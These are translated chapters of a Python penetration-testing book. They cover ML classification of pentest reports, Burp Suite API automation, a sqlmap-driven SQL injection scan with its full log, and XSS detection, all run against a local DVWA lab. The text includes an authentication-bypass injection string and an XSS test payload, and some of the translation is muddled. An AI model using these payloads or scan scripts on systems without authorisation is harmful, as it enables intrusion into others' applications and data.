我们正在使用的子模块称为减法函数。这将从我们的输入字符串中减去指定的字符。它还可以将单词组合在一起,并用您选择的字符替换指定的字符。要替换的字符可以输入为字符串,也可以输入为正则表达式格式。在前面的示例中,正则表达式格式中的^符号表示不,[a-zA-Z]表示除 a-z 和 A-Z 之外的所有内容应该被一个空格' '替换。在给定的字符串中,点将被移除并替换为空格,产生以下输出:Wow Loved this place

我们现在删除所有不重要的单词,例如theathis等。为此,我们将使用nltk库(自然语言工具包)。它有一个名为 stopwords 的子模块,其中包含所有与句子意义获取无关的单词(通用单词)。要下载停用词,我们使用以下命令:

这将从当前路径下载停用词,然后可以直接使用它们。首先,我们将评论分成单词列表,然后我们遍历不同的单词,并将它们与下载的停用词进行比较,删除那些不必要的单词:

在前面的代码片段中,我们正在使用一个 for 循环。在 review 前面声明[]符号表示列表将包含从 for 循环返回的单词,这些单词在这种情况下是停用词。

for循环之前的代码表示我们应该分配字符串单词,并且每次单词出现在评论列表中并且不出现在stopwords.words('English')列表中时,更新列表中的新单词。请注意,我们正在使用set()函数将给定的停用词列表实际转换为集合,因为在 Python 中,集合上的搜索操作比列表快得多。最后,评论将包含我们的无关紧要的单词。在这种情况下,对于第一条评论,它将包含[wovlovedplace]。

下一步是进行词干提取。我们应用词干提取的原因是为了避免稀疏性,即在我们的矩阵中有大量的零(称为稀疏矩阵)时发生的情况。为了减少稀疏性,我们需要减少矩阵中零的比例。

我们将使用 portstemmer 库对每个单词应用词干提取:

现在,评论将包含[wov, love, place]。

在这一步中,我们将通过调用join将列表中转换后的字符串评论连接成一个字符串。我们将使用空格作为delimiter ' '.join(review)将评论列表中的所有单词连接在一起,然后我们使用' '作为分隔符来分隔单词。

现在评论是一个包含所有小写相关单词的字符串:

执行代码后,如果我们比较原始数据集和获得的语料库列表,我们将得到以下结果:

由于停用词列表中也有单词Not,索引 1 处的字符串Crust is not goodLiked评分为 0)变为了crust good。我们需要确保这不会发生。同样,would not go back变成了would go back。处理它的一种方法是使用一个停用词列表,如set(stopwords.words('english'))]

接下来,我们将创建一个词袋模型。在这里,将使用获得的语料库(句子列表)中的不同单词,并为每个不同的单词创建一列。不会重复任何单词。

因此,诸如wov love placecrust goodtasti textur nasti等单词将被取出,并为每个单词创建一列。每一列将对应一个不同的单词。我们还将有评论和一个条目编号,指定该特定评论中单词存在的次数。

有了这种设置,我们的表中会有很多零,因为可能有一些单词并不经常出现。目标应该始终是将稀疏性保持到最低,这样只有相关的单词才能指向预测。这将产生一个更好的模型。我们刚刚创建的稀疏矩阵将成为我们的词袋模型,并且它的工作方式就像我们的分类模型一样。我们有一些独立变量取一些值(在这种情况下,独立变量是评论单词),并且根据独立变量的值,我们将预测依赖变量,即评论是积极的还是否定的。为了创建我们的词袋模型,我们将应用一个分类模型来预测每个新评论是积极的还是消极的。我们将使用标记化和一个名为CountVectoriser的工具来创建一个词袋模型。

我们将使用以下代码来使用这个库:

from sklearn.feature_extraction.text import CountVectorizer

接下来,我们将创建这个类的一个实例。参数中有一个停用词作为其中一个参数,但由于我们已经将停用词应用到我们的数据集中,我们不需要再次这样做。这个类还允许我们控制大小写和标记模式。我们也可以选择使用这个类来执行之前的所有步骤,但是分开执行可以更好地进行细粒度控制。

请注意,行cv.fit_transform实际上会将稀疏矩阵拟合到 cv,并返回一个具有语料库中所有单词的特征矩阵。

到目前为止,我们已经制作了我们的词袋,或者稀疏矩阵,一个独立变量的矩阵。下一步是使用分类模型,并在词袋的一部分-X 上训练模型,以及在相同索引上的依赖变量-Y。在这种情况下,依赖变量是Liked列。

执行上述代码将创建一个包含大约 1565 个特征(不同列)的特征矩阵。如果不同特征的数量非常大,我们可以限制最大特征并指定最大阈值。假设我们将阈值数指定为 1500,那么只有 1500 个特征或不同的单词将被纳入稀疏矩阵,那些与前 1500 个相比较少的将被移除。这将更好地相关独立和因变量,进一步减少稀疏性。

现在我们需要在词袋模型单词和因变量上训练我们的分类模型:

提取因变量如下:

XY如下所示:

请注意,在前面的情况下,每个索引(0-1499)对应于原始语料库列表中的一个单词。我们现在拥有了分类模型中的内容:独立变量和结果的度量,负面评价为 0,正面评价为 1。然而,我们仍然有相当多的稀疏性。

我们的下一步是利用分类模型进行训练。有两种使用分类模型的方法。一种方法是测试所有分类模型并确定假阳性和假阴性,另一种方法是基于经验和过去的实验。在 NLP 中最常用的模型是朴素贝叶斯和决策树或随机森林分类。在本教程中,我们将使用朴素贝叶斯模型:

整个代码如下所示:

从上述代码中,我们可以看到我们将训练集和测试集分为 80%和 20%。我们将给训练集 800 个观察值,测试集 200 个观察值,并查看我们的模型将如何表现。执行后的混淆矩阵的值如下:

负面评价有 55 个正确预测,正面评价有 91 个正确预测。负面评价有 42 个错误预测,正面评价有 12 个错误预测。因此,在 200 次预测中,有 146 次正确预测,相当于 73%。

使用自然语言处理处理渗透测试报告

我在网络安全领域中使用 ML 的一个应用是自动化报告分析以发现漏洞。我们现在知道上一章中构建的漏洞扫描器是如何工作的,但所有集成脚本和工具产生的数据量巨大,我们需要手动处理或分析它。在 Typical scanners 如 Nessus 或 Qualys 中,插件实际上是脚本。由于它们是由 Nessus 和 Qualys 内部开发的,这些脚本旨在发现缺陷并以易于理解的方式报告它们。然而,在我们的情况下,我们正在集成许多开源脚本和工具集,并且产生的输出并不是集成的。为了自动化这项任务并获得漏洞的概述,我们需要弄清楚脚本或工具产生的输出,在标记漏洞的情况下,以及在返回安全检查的情况下。根据我们的理解和每个脚本的预期输出模式,我们必须起草我们的 Python 代码逻辑,以发现哪个插件产生了不安全的检查结果,哪个返回了安全检查。这需要大量的工作。每当我们增加集成脚本的数量时,我们的代码逻辑也需要更新,所以你可以选择是否要走这条路。

我们手头还有另一种方法,那就是利用机器学习和 NLP。由于我们可以获得大量的历史渗透测试数据,为什么不将其提供给机器学习模型,并训练它理解什么是不安全的,什么是安全的呢?多亏了我们使用漏洞扫描器执行的历史渗透测试报告,我们的数据库表中有大量数据。我们可以尝试重用这些数据,利用机器学习和 NLP 自动化手动报告分析。我们谈论的是监督学习,它需要一次性的工作来适当地标记数据。假设我们拿过去进行的最后 10 次渗透测试的历史数据,每次测试平均有 3 个 IP。我们还假设每个 IP 平均执行 100 个脚本(取决于开放端口的数量)。这意味着我们有 3000 个脚本的数据。

我们需要手动标记结果。或者,如果测试人员在用户界面中呈现数据时,可以通过复选框选择易受攻击/不易受攻击,这将作为数据的标记。假设我们能够将所有结果数据标记为 1,表示测试用例或检查结果安全,标记为 0,表示测试用例结果不安全。然后我们将得到标记的数据进行预处理,并提供给我们的 NLP 模型进行训练。一旦模型训练完成,我们就会持久化模型。最后,在实时扫描期间,我们将测试用例的结果传递给我们训练好的模型,让它对结果易受攻击的测试用例进行预测。测试人员只需要专注于易受攻击的测试用例,并准备其利用步骤。

为了演示这个概念的 POC,让我们拿一个项目的结果,并只考虑运行sslhttp的脚本。让我们看看代码的运行情况。

第 1 步-标记原始数据

以下是我们使用漏洞扫描器扫描的一个项目上进行的sslhttp检查的输出。数据是从后端 IPexploits 表中获取的,并且标记为 0 表示检查不容易受攻击,标记为 1 表示测试不安全。我们可以在以下截图中看到这一点。这是一个带有模式(command_idrecored_idservice_resultvul[0/1])的 TSV 文件:

现在我们已经标记了数据,让我们处理和清理它。之后,我们将用它来训练我们的 NLP 模型。我们将使用 NLP 的朴素贝叶斯分类器。我在当前数据集上使用这个模型取得了不错的成功。测试各种其他模型并看看是否能够获得更好的预测成功率将是一个很好的练习。

第 2 步-编写训练和测试模型的代码

以下代码与我们在 NLP 部分讨论的内容完全相同,只是在使用pickle.dump将训练好的模型保存到文件中时添加了一些内容。我们还使用pickle.load来加载保存的模型:

以下截图显示了我们训练模型为数据集提供的混淆矩阵的结果。我们在 80%的数据集上训练了模型,并在 20%的数据集上进行了测试。得到的结果表明,我们的模型预测准确率为 92%。需要注意的是,对于更大的数据集,准确性可能会有所不同。这里的想法是让您了解 NLP 如何与渗透测试报告一起使用。我们可以改进处理以提供更干净的数据,并改变模型选择以获得更好的结果:

摘要

在本章中,我们讨论了如何使用 Python 进行机器学习,以及如何将其应用于网络安全领域。在网络安全领域中,数据科学和机器学习有许多其他精彩的应用,涉及日志分析、流量监控、异常检测、数据外泄、URL 分析、垃圾邮件检测等。现代 SIEM 解决方案大多建立在机器学习之上,并且使用大数据引擎来减少人工分析。请参考进一步阅读部分,了解机器学习在网络安全中的其他用例。还必须注意的是,渗透测试人员有必要了解机器学习,以便发现漏洞。在下一章中,用户将了解如何使用 Python 自动化各种网络应用攻击类型,包括 SQLI、XSS、CSRF 和点击劫持。

问题

  1. 与机器学习相关的各种漏洞是什么?

  2. 什么是大数据,有哪些已知漏洞的大数据产品示例?

  3. 机器学习和人工智能之间有什么区别?

  4. 哪些渗透测试工具使用机器学习,以及原因?

进一步阅读

第八章:自动化 Web 应用程序扫描-第 1 部分

当我们谈论 Web 应用程序扫描时,会想到各种攻击向量,如 SQL 注入、XSS、CSRF、LFI 和 RFI。当我们谈论 Web 应用程序测试时,我们可能会想到 Burp Suite。在本章中,我们将研究如何使用 Python 来尝试自动化 Web 应用程序攻击向量检测。我们还将看看如何使用 Python 来自动化 Burp 扫描,以覆盖我们否则需要手动发现的漏洞。在本章中,我们将研究以下主题:

  • 使用 Burp Suite 自动化 Web 应用程序扫描

  • 使用 Python 自动化 Burp

  • SQL 注入

  • 使用 Python 自动检测 SQL 注入

使用 Burp Suite 自动化 Web 应用程序扫描

Burp Suite Professional 在其 API 方面为渗透测试人员提供了额外的功能。借助 Burp Suite Professional API,测试人员可以自动调用扫描并将其发现与其他工具集成。

Burp Suite 目前在其许可版本(burp-suite 专业版)中提供 API 支持。这是所有网络安全专业人员必须拥有的工具之一。我建议获取 Burp Suite 的许可版本,以便充分利用本章内容。

启动 Burp Suite 并按以下方式配置 API:

然后,启动 API 并按以下方式配置 API 密钥:

单击按钮时,密钥将被复制到剪贴板。我们可以按以下方式使用它:

我们可以看到 API 正在端口1337上监听。我们使用 API 密钥来引用此端点地址。API 公开了三个端点:获取问题定义、启动扫描和获取正在运行扫描的状态。

让我们看看我们需要的参数,以启动对 Damn Vulnerable Web Application 的新扫描。

应用可以从以下 URL 安装:

安装并设置好后,我们可以使用以下curl命令来在网站上启动 Burp 的主动扫描:

curl -vgw "\n" -X POST 'http://127.0.0.1:1337/<API KEY>/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"name":"My first project","scan_configurations":[{"name":"Crawl strategy - fastest","type":"NamedConfiguration"}],"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/login.php"]}'

包含更详尽的爬行和审计测试的更通用请求如下所示:

curl -vgw "\n" -X POST 'http://127.0.0.1:1337/<API KEY>/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'

应注意,前面的请求可以通过 Ubuntu 上的终端发送,也可以使用 Burp API 提供的 Web 界面生成请求。应注意,如果以前面显示的方式调用请求,它将不会返回任何内容,而是会创建一个带有任务 ID 的新扫描。

这可以在 Burp Suite 控制台上看到,如下所示:

在上一张屏幕截图中,我们可以看到创建了一个 ID 为9的新任务,并且正在扫描我们本地托管的 Damn Vulnerable Web Application。当截图被捕获时,该任务能够识别出四个高级问题、十个中级问题和三个低级问题。在接下来的部分中,我们可以看到如何使扫描器不断告诉我们扫描的状态。为了做到这一点,我们需要设置一个回调 URL。换句话说,我们需要有一个监听端口,扫描器将不断发送结果。我们可以在控制台上打印如下内容:

curl -vgw "\n" -X POST 'http://127.0.0.1:1337/Sm2fbfwrTQVqwH3VERLKIuXkiVbAwJgm/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8000"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'

扫描的状态和所有发现的内容将发送回指定的地址:

鉴于我们现在了解了如何使用 Burp Suite API 自动化扫描,让我们编写一个 Python 脚本来实现这一点。我们将创建一个 Python 脚本来调用扫描,同时该脚本将监听回调请求并解析响应以显示所有高、中和低问题。

使用 Python 进行 Burp 自动化

让我们创建一个简单的 Python 脚本并将其命名为burp_automate.py。输入以下代码:

import requests
import json
from urlparse import urljoin
import socket
import ast
import time
class Burp_automate():
    def __init__(self):
        self.result=""
        self.api_key="odTOmUX9mNTV3KRQ4La4J1pov6PEES72"
        self.api_url="http://127.0.0.1:1337"

    def start(self):
        try:

            data='{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8001"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'
            request_url=urljoin(self.api_url,self.api_key)
            request_url=str(request_url)+"/v0.1/scan"
            resp=requests.post(request_url,data=data)

            self.call_back_listener()
        except Exception as ex:
            print("EXception caught : " +str(ex))

    def poll_details(self,task_id):
        try:
            while 1:
                time.sleep(10)
                request_url=urljoin(self.api_url,self.api_key)
                request_url=str(request_url)+"/v0.1/scan/"+str(task_id)
                resp=requests.get(request_url)
                data_json=resp.json()

                issue_events=data_json["issue_events"]
                for issues in issue_events:

                    if issues["issue"]["severity"] != "info":
                        print("------------------------------------")
                        print("Severity : " + issues["issue"].get("severity",""))
                        print("Name : " + issues["issue"].get("name",""))
                        print("Path : " + issues["issue"].get("path",""))
                        print("Description : " + issues["issue"].get("description",""))
                        if issues["issue"].get("evidence",""):
                            print("URL : " + issues["issue"]["evidence"][0]["request_response"]["url"])
                        print("------------------------------------")
                        print("\n\n\n")
                if data_json["scan_status"]=="succeeded":
                    break

        except Exception as ex:
            print(str(ex))

    def call_back_listener(self):
        try:
            if 1 :
                task_id=0
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.bind(('127.0.0.1', 8001))
                s.listen(10)

                conn, addr = s.accept()

                if conn:
                    while True:
                        data = conn.recv(2048)
                        if not data:
                            break
                        try:
                            index=str(data).find("task_id")
                            task_id=str(data)[index:index+12]
                            task_id=task_id.replace('"',"")
                            splitted=task_id.split(":")
                            t_id=splitted[1]
                            t_id=t_id.lstrip().rstrip()
                            t_id=int(t_id)
                            if t_id:
                                task_id=t_id
                                break
                        except Exception as ex:
                            print("\n\n\nNot found" +str(ex))

                if task_id:
                    print("Task id : " +str(task_id))
                    self.poll_details(task_id)
                else:
                    print("No task id obtaimed,  Exiting : " )

        except Exception as ex:
            print("\n\n\n@@@@Call back exception :" +str(ex))

obj=Burp_automate()
obj.start()

当我们执行脚本时,它将显示 Burp 扫描报告的所有问题,这些问题可能是“高”、“中”或“低”性质。

如下截图所示:

以下截图表示扫描的状态和发出的请求总数。脚本将持续运行,直到扫描完成,状态为成功

SQL 注入

SQL 注入攻击是一种攻击,通过该攻击可以更改 SQL 查询的执行以满足攻击者的需求。Web 应用程序可能在后端与数据库交互,并且可能接受用户输入,这些输入形成参数或 SQL 查询的一部分,用于插入、删除、更新或检索数据库表中的数据。在这种情况下,开发人员必须非常小心,不要直接将用户提供的参数传递给后端数据库系统,因为这可能导致 SQL 注入。开发人员必须确保使用参数化查询。假设我们在应用程序上有一个登录页面,该页面从用户那里获取用户名和密码,并将此信息传递给后端 SQL 查询,如下所示:select * from users where email ='"+request.POST['email']+"' and password ='"+request.POST['password']".

应用程序中编写的逻辑将检查查询返回的行数。如果有,那么用户是合法的,并且将为用户分配有效的会话,否则将显示错误消息“无效凭据”。

假设用户将其电子邮件地址设置为admin@abc.com,密码设置为admin@123,在这种情况下,将在后端执行以下查询:select * from users where email ='admin@abc.com' and password ='admin@123'

然而,如果用户将电子邮件输入为hacker@abc.com''1'='1,并且他们的密码为hacker''1'='1,那么将在后端执行以下查询:select * from users where email ='hacker@abc.com' or '1'='1' and password ='hacker' or '1'='1'

因此,返回的数据集的第一条记录将被视为试图登录的用户,由于 SQL 注入而绕过了身份验证。

使用 Python 自动检测 SQL 注入

我们的重点是了解如何使用 Python 自动化检测 SQL 注入。每当我们谈论 SQL 注入时,我们想到的工具就是 SQLmap,这是一个非常好的工具,也是我个人在检测 Web 应用程序中的 SQL 注入时的首选。互联网上有许多关于如何使用 SQLmap 检测 SQL 注入的教程。在本节中,我们将看到如何使用 SQLmap 的服务器版本,该版本公开了一个 API,以自动化整个检测 SQL 注入漏洞的过程。我们将使用 Python 脚本来自动化检测过程。

让我们启动 SQLmap 服务器:

现在服务器在本地主机(端口8775)上运行,让我们看看如何使用 cURL 和 API 扫描应用程序(DVWA)进行 SQL 注入:

  • 创建一个新任务如下:

  • 为新任务设置scan选项如下:

  • 为新任务设置list选项如下:

  • 使用以下set选项开始扫描:

  • 检查创建的扫描的“状态”,以发现 SQL 注入,如下所示:

前面的屏幕截图验证了后端数据库是 MySQL,参数 ID 容易受到 SQL 注入攻击。

让我们借助 Python 脚本自动化整个过程,如下所示。将脚本命名为sql_automate.py

import requests
import json
import time
import pprint

class SqliAutomate():

 def __init__(self,url,other_params={}):
 self.url=url
 self.other=other_params 

 def start_polling(self,task_id):
 try:
 time.sleep(30)
 poll_resp=requests.get("http://127.0.0.1:8775/scan/"+task_id+"/log")
 pp = pprint.PrettyPrinter(indent=4)
 #print(poll_resp.json())
 pp.pprint(poll_resp.json())
 except Exception as ex:
 print("Exception caught : " +str(ex))

 def start(self):
 try: 
 task_resp=requests.get("http://127.0.0.1:8775/task/new")
 data=task_resp.json()
 if data.get("success","") ==True:
 task_id=data.get("taskid")
 print("Task id : "+str(task_id))
 data_={'url':self.url}
 data_.update(self.other)
 opt_resp=requests.post("http://127.0.0.1:8775/option/"+task_id+"/set",json=data_)
 if opt_resp.json().get("success")==True:
 start_resp=requests.post("http://127.0.0.1:8775/scan/"+task_id+"/start",json=data_)
 if start_resp.json().get("success")==True:
 print("Scan Started successfully .Now polling\n")
 self.start_polling(task_id)
 except Exception as ex:
 print("Exception : "+str(ex))

other={'cookie':'PHPSESSID=7brq7o2qf68hk94tan3f14atg4;security=low'}
obj=SqliAutomate('http://192.168.250.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit',other)
obj.start()

让我们执行脚本并获取 SQL 注入的输出,如下所示:

root@thp3:~/sqli_automate# python sqli_automate.py
Task id : d0ba910ae1236ff4
Scan Started successfully .Now polling

{   u'log': [   {   u'level': u'INFO',
                    u'message': u'testing connection to the target URL',
                    u'time': u'13:13:15'},
                {   u'level': u'INFO',
                    u'message': u'checking if the target is protected by some kind of WAF/IPS/IDS',
                    u'time': u'13:13:15'},
                {   u'level': u'INFO',
                    u'message': u'testing if the target URL content is stable',
                    u'time': u'13:13:15'},
                {   u'level': u'INFO',
                    u'message': u'target URL content is stable',
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"testing if GET parameter 'id' is dynamic",
                    u'time': u'13:13:16'},
                {   u'level': u'WARNING',
                    u'message': u"GET parameter 'id' does not appear to be dynamic",
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')",
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks",
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"testing for SQL injection on GET parameter 'id'",
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"testing 'AND boolean-based blind - WHERE or HAVING clause'",
                    u'time': u'13:13:16'},
                {   u'level': u'WARNING',
                    u'message': u'reflective value(s) found and filtering out',
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'",
                    u'time': u'13:13:16'},
                {   u'level': u'INFO',
                    u'message': u"testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'",
                    u'time': u'13:13:17'},
                {   u'level': u'INFO',
                    u'message': u"testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u'GET parameter \'id\' appears to be \'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)\' injectable (with --not-string="Me")',
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable ",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"testing 'MySQL inline queries'",
                    u'time': u'13:13:18'},
                {   u'level': u'INFO',
                    u'message': u"'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test",
                    u'time': u'13:13:28'},
                {   u'level': u'INFO',
                    u'message': u'target URL appears to have 2 columns in query',
                    u'time': u'13:13:29'},
                {   u'level': u'INFO',
                    u'message': u"GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable",
                    u'time': u'13:13:29'},
                {   u'level': u'WARNING',
                    u'message': u"in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval",
                    u'time': u'13:13:29'},
                {   u'level': u'INFO',
                    u'message': u'the back-end DBMS is MySQL',
                    u'time': u'13:13:29'}],
    u'success': True}

获取的输出可以被解析并打印在屏幕上。

总结

在本章中,我们讨论了可以使用 Python 自动化 Web 应用程序扫描和评估的方法。我们看到了如何使用 Burp Suite API 来扫描底层应用程序,并研究了一系列评估结果。我们还讨论了 SQL 注入以及 Python 如何与我们喜爱的工具 SQLmap 一起使用。最后,我们看了一下如何使用 Python 调用 SQLmap 来自动化整个 SQL 注入检测过程。在下一章中,我们将了解使用 Python 自动化检测其他 Web 应用程序漏洞,如 XSS、CSRF、点击劫持和 SSL 剥离。

问题

  1. 还有哪些使用 Python 代码与 Burp 的方法?

  2. 还有哪些 SQL 注入工具可以用 Python 自动化?

  3. 使用自动化的 Web 应用程序扫描方法的优缺点是什么?

进一步阅读

第九章:自动 Web 应用程序扫描-第 2 部分

继续我们在上一章的讨论,我们现在将学习如何使用 Python 自动检测跨站脚本XSS)、跨站请求伪造CSRF)、点击劫持和安全套接字层SSL)剥离。本章讨论的所有技术将帮助我们加快 Web 应用程序评估过程。我建议您不要局限于本章讨论的方法。讨论的方法可以作为基线,相同的想法可以扩展和改进,以得到更好的解决方案或开发工具,以帮助渗透测试社区。本章将讨论以下主题:

  • 跨站脚本

  • 跨站请求伪造

  • 点击劫持

  • SSL 剥离(缺少 HSTS 标头)

XSS

XSS攻击属于 Web 应用程序攻击的注入类别。它们主要是由于未对来自最终用户的 Web 应用程序传递的用户输入进行消毒而引起的。这不会导致服务器被攻破,但对用户数据的影响非常严重。攻击发生在攻击者能够将某种 Java 脚本或 HTML 内容注入到将提供给用户的网页中时。这种恶意内容可能会尝试从访问网站的用户那里窃取敏感信息。在接下来的章节中,我们将看看不同类型的 XSS 攻击。

存储或 Type 1 XSS 攻击

存储型 XSS是攻击,其中来自攻击者的恶意输入被持久化并存储在后端数据库或存储库中。每当检索并呈现该内容以在网页上显示时,浏览器完全不知道它,它要么执行来自数据库的恶意 JavaScript,要么呈现恶意 HTML 标记,而不是将其显示为文本。存储型 XSS 将永久保留在数据库中,并影响访问受影响网页的所有用户。

反射型或 Type 2 XSS 攻击

反射型 XSS攻击是 XSS 攻击向量的第二种类型,其中恶意的 XSS 有效负载不会存储在数据库表中以进行持久化,但仍然被注入到返回给用户的网页的某些参数中。浏览器对此更改毫不知情,只是简单地呈现注入的恶意 HTML 或执行注入的恶意 JavaScript 代码,再次导致用户数据被泄露。

基于 DOM 或 Type 0 XSS 攻击

基于文档对象模型的 XSS 是 XSS 攻击的第三类。在这里,XSS 有效负载不会发送到服务器,而是由于实现缺陷和使用客户端 JavaScript 改变网页状态/DOM,攻击者放置有效负载,该有效负载将由负责操纵网页状态的 JavaScript 拾取。

我们的重点是了解如何使用 Python 自动检测 XSS。

使用 Python 自动检测 XSS

在这里,我们将看到一种方法,我们将使用 Python、Beautifulsoup、Selenium 和 Phantomjs 自动检测 Web 应用程序中的 XSS。

通过运行以下命令来安装依赖项:

pip install BeautifulSoup
pip install bs4
pip install selenium
sudo apt-get install libfontconfig
apt-get install npm
npm install ghostdriver
wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/

让我们了解每个的目标:

  • BeautifulSoup是一个出色的 Python 库,用于网页抓取和解析网页。

  • Selenium是用于自动测试 Web 应用程序的自动化框架。其功能在安全领域尤为重要,用于浏览器模拟和自动遍历 Web 应用程序的工作流程。

  • Phantomjs是一种用于无头浏览的实用程序。它执行浏览器的所有活动,而不实际加载它,而是在后台运行,使其轻巧且非常有用。

安装 Phantomjs 后,我们需要在控制台上执行以下命令:unset QT_QPA_PLATFORM。这是用来处理 Ubuntu 16.04 上 Phantomjs 版本抛出的错误的,错误如下:Message: Service phantomjs unexpectedly exited. Status code was: -6

应该注意,这个练习的目的是模拟正常用户行为,并找到 Web 应用程序中的注入点。我们所说的注入点是指用户可以提供输入的所有输入字段。为了找到注入点,我们将使用BeautifulSoup库。从网页中,我们提取所有类型为文本、密码或文本区域的字段。一旦找到注入点,我们将使用 selenium 在注入点传递我们的有效负载值。一旦有效负载设置在注入点,我们将再次使用BeautifulSoup来定位表单的提交按钮。然后,我们将传递提交按钮的 ID 给 selenium,点击它,以提交表单。

我们将使用的有效负载是<a href=#> Malicious Link XSS </a>。如果这个被创建了,我们可以推断网站存在 XSS 漏洞。还必须注意的是,在提交有效负载后,我们还捕获了网页的截图,以查看链接是否真的被创建,这将作为概念的证明。

应该注意,我们将在本地 IPhttp://192.168.250.1/dvwa上运行的 DVWA 应用程序上演示我们脚本的概念验证。正如我们所知,该应用程序需要用户登录。我们将首先让我们的脚本自动登录应用程序,然后设置适当的 cookie 和会话。然后,在登录后,我们将导航到存在 XSS 的页面,并执行上述操作。我们还将更新 cookie 值,并设置 security=low,以便在 DVWA 应用程序中可能发生 XSS。应该注意,相同的概念可以扩展并应用于任何 Web 应用程序,因为我们使用了一种非常通用的方法来识别注入点并在其中提交有效负载。根据需要修改脚本并进一步扩展。我将致力于在这个脚本的基础上开发一个功能齐全的 XSS 检测工具,它将位于我的 GitHub 存储库中。请随时为其做出贡献。

在下一节中,我们将看一下极端自动化。

脚本在执行

让我们将我们的脚本命名为Xss_automate.py,并添加以下截图中显示的内容:

现在可以运行脚本如下:

让我们去检查当前路径,看看截图是否已经创建:

正如我们之前所指出的,已经创建并捕获了三个截图。让我们打开每一个来验证概念的证明。成功使用我们的脚本登录后,下面的截图就是我们看到的:

下面的截图显示了反射 XSS 漏洞的利用,创建了链接。请注意,security 的值被设置为 low:

下面的截图显示了存储的 XSS 漏洞:

需要注意的是,我们只将先前的方法应用于检测两个页面中的 XSS,只是为了减少执行时间并展示概念的威力。然而,这可以扩展到应用程序的所有网页。我们需要删除检查从<a>标签中获取的 URL 是否存在于列表中的条件:self.target_links=["vulnerabilities/xss_r/","vulnerabilities/xss_s/"]。尝试这种方法,删除这个条件,并根据需要修改脚本,看看它覆盖了什么。

CSRF

